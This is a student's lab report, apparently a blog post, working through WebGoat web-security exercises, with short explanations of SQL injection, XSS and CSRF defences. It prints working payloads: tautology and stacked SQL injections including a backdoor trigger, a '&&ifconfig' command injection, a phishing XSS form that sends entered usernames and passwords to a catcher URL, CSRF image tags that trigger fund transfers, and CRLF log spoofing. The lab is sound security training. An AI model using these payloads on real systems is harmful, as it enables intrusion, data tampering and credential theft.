20144303石宇森《网络对抗》Web安全基础实践
20144303石宇森《网络对抗》Web安全基础实践
实验后问题回答
SQL注入攻击原理,如何防御:
SQL攻击时通过在输入框中输入语句,构造出SQL命令,把这段命令注入到表单中,让后台的数据库执行恶意的SQL语句以实现攻击。
防御方法:采用sql语句预编译和绑定变量是最佳的方法。在不能使用sql语句预编译的情况下,可以严格的检查参数的数据类型以及格式。
XSS攻击的原理,如何防御:
XSS攻击也是通过从输入框中输入,把语句传给后台,这些语句代码包裹HTML代码和客户端脚本。通过这种方法,使网页的页面被更改,其他用户看到的页面也被更改。
防御方法:从Web开发的角度来避免,对所有用户提交的内容进行可靠的输入验证。对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
CSRF攻击原理,如何防御:
CSRF攻击的原理就是使攻击者盗取用户的身份,然后以用户的身份发送恶意请求。盗取用户身份是通过Cookie来完成的。
防御方法:对用户来说要尽量及时的清理Cookie。对Web端来说,可以在客户端页面增加伪随机数,使攻击者得不到用户的Cookie
实验总结与体会
这次的实验与之前用过的“爱春秋”比较类似,以一种闯关的形式来完成实验,为学习过程增添了不少趣味性。有一些题目看不懂或是做不出来,后来通过学习同学的博客都把问题解决了。本来以为没有输入框就不能完成SQL注入攻击了,没想到还有Berpsuite,能把网页输入和输出内容像抓包一样抓到,然后完成修改。
实践过程记录
在实验之前,要先解压一下WebGoat(不能关闭终端窗口),然后登录localhost:8080/WebGoat开始实验。
一、String SQL Injection
这个题要求我们通过SQL注入的方法使所有的信用卡的信息都能被看到。判断出它是一个SELECT查询语句后,我们构造出一个永真式就能让他把所有的信息都输出出来。
所以,在输入框中输入'or 1='1,就能查出所有信用卡的信息。

二、Numeric SQL Injection
这个题也是要我们通过SQL注入攻击把所有的数据输出,同样的,也是构造一个永真式,但是与上一题不同的是,他没有输入框。这就要用到Berpsuite,把数据包截获,然后进行修改。
首先我们要对Berpsuite软件使用的端口进行设置

然后把浏览器使用的端口也做修改

使捕获设置在ON,开始捕获

然后把捕获到的数据发送到repeater

对station修改,构造一个永真式,加一个or 1=1。发现右边的代码也做了相应的修改。再次点go,成功



三、Command Injection
设置完端口 捕获数据包 然后把他发送到repeater

对URL修改,加上“&&ifconfig”,让它执行ifconfig语句


实验结束后,把捕获关闭

四、Blind Numeric SQL Injection
这是个猜数字的题。我们输入101发现是有效的,那么就可以构造SQL语句,通过输出结果来判断后面的式子是否为真。比如,我们输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 ); 输出为有效的,那么久证明这个数大于100。然后不断进行尝试,最后推算出答案是2364


五、Reflected XSS Attacks
<script>alert("20144303");</script>
是一个有攻击性的URL,可以让页面弹出对话框,显示20144303。我们把它作为输入,可以完成攻击。值得一提的是,这个XSS攻击没有改变服务器端的页面代码,只会显示给当前用户,不是持久性的存储型XSS攻击。


六、Phishing with XSS
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:80/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
这个实验是构造一个登录页面,然后输入登录的用户名和密码后,可以将其获取。代码如上。

七、CSRF
这个题让我们发送给目标一封邮件,邮件里面有一个URL,当目标打开这个邮件时,完成攻击。
因此,构造一个伪装语句<img src='attack?Screen=280&menu=900&transferFunds=10000' width='1' height='1'> 其中的src和menu是在题目下面的信息里搜取到的。

八、CSRF Prompt By-pass
这个题目和上一个比较相似,但是需要两条语句来完成,一个来伪装转账的金额,一个来伪装确认转账。
<img src='attack?Screen=267&menu=900&transferFunds=10000'width='1'height='1'>
<img src='attack?Screen=267&menu=900&transferFunds=Confirm'width='1'height='1'>

九、Log Spoofing
这个题要求我们通过注入命令,使admin登录成功。所以构造%0d%0aLogin succeeded !admin( %0d是回车,%0a是换行),这样就可以假装admin登录成功了。

十:Database Backdoors
这个题要求我们把用户的工资设置为10000,然后把表中所有的邮箱和用户名都设置成自己的。
输入101后发现有效,就能根据101来构造语句注入。完成攻击
101; update employee set salary=10000
101;CREATE TRIGGER 20144303 BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='SHIYUSEN@qq.com' WHERE userid = NEW.userid



20144303石宇森《网络对抗》Web安全基础实践的更多相关文章
- 20145334赵文豪网络对抗Web安全基础实践
1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...
- 20144303石宇森 《网络对抗》 WEB基础实践
20144303石宇森 <网络对抗> WEB基础实践 实验后回答问题 一.什么是表单 表单是一个包含表单元素的区域.用form来定义. HTML是静态显示网页的,无法跟服务器进行交互,所以 ...
- 20144303石宇森《网络对抗》MSF基础应用
20144303石宇森<网络对抗>MSF基础应用 实验后回答问题 一.解释什么是exploit,payload,encode: 我认为exploit就是一个简单的攻击指令,就是对配置所有设 ...
- 20144303石宇森《网络对抗》注入shellcode和Return-to-libc攻击
20144303石宇森<网络对抗>PC平台逆向破解 实验1:shellcode注入 实验基础 1.Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,n ...
- 20144303石宇森《网络对抗》逆向及Bof基础
20144303石宇森<网络对抗>逆向及Bof基础 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回 ...
- 20144303石宇森 《Java程序设计》第2周学习总结
---恢复内容开始--- 20144303 <Java程序设计>第2周学习总结 教材学习内容总结 一.类型: 1.Java可以区分为基本类型和类类型.类类型也称作参考类型. 2.Java中 ...
- 2018-2019 20165221 网络对抗 Exp5 MSF基础
2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...
- 20145306 网路攻防 web安全基础实践
20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...
- 20155324王鸣宇 《网络对抗技术》Web基础
20155324王鸣宇 <网络对抗技术>Web基础 实践要求 ①Web前端HTML: 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HT ...
随机推荐
- bzip2 zip 压缩后体积比 0.8:1
1. 对.bz2 后缀文件 跳过不处理 2.逐行同字段的json文件,压缩后大小为原文件的12.81% 测试文件近似认为为逐行json文本数据,没有进行多文件重复测试,没有统计时间: {"u ...
- sql中把字符串转化为数字的方法
1. convert(int,字段名) 2. cast(字段名 as int)
- 单例模式:Qt本身就提供了专门的宏 Q_GLOBAL_STATIC 通过这个宏不但定义简单,还可以获得线程安全性
标题起的是有点大 主要是工作和学习中,遇到些朋友,怎么说呢,代码不够Qt化 可能是由于他们一开始接触的是 Java MFC 吧 接触 Qt 7个年头了 希望我的系列文章能抛砖引玉吧 单例模式 很多人洋 ...
- centos7 卸载和安装最新版本docker-ce,配置阿里云加速
一.yum卸载.安装 1.卸载老版本的 docker 及其相关依赖 sudo yum remove docker docker-common container-selinux docker-seli ...
- 洛谷P2634 聪聪可可 [国家集训队] 点分治/dp
正解:点分治/dp 解题报告: 传送门! 这题有两个做法,都是我不擅长的就都说下好了QAQ 首先这题一看到就会想到点分治? 也确实可以用点分治,那就直接用点分治鸭 每次求出到当前根距离余数为0,1,2 ...
- 【spring mvc】application context的生命周期
上一次讲application context中bean的生命周期,后面贴了一部分代码,但根本没理解代码意思,有幸在博客园看到一篇关于这部分的代码解析,特别长,特此做了一些整理笔记,并附上链接:htt ...
- [py]letcode第一题求和
letcode第一题, tm的不好弄. 想了很久想到了一个粗蠢的解决办法. Given an array of integers, return indices of the two numbers ...
- Python中如何获取类属性的列表
这篇文章主要给大家介绍了在Python中如何获取类属性的列表,文中通过示例代码介绍的很详细,相信对大家的学习或者工作具有一定的参考借鉴价值,有需要的朋友可以参考借鉴,下面来一起看看吧. 前言 最近工作 ...
- zabbix 微信报警脚本
不知道是什么原因直接用Python脚本zabbix无法执行脚本,需要一个shell来启动 #! /bin/bash userid=$ content=$ python /data/zabbix/ale ...
- C#中NPOI操作excel之读取和写入excel数据
一.下载引用 下载需要引用的dll,即:NPOI.dll,NPOI.OOXML.dll,NPOI.OpenXml4Net.dll,ICSharpCode.SharpZipLib.dll(office2 ...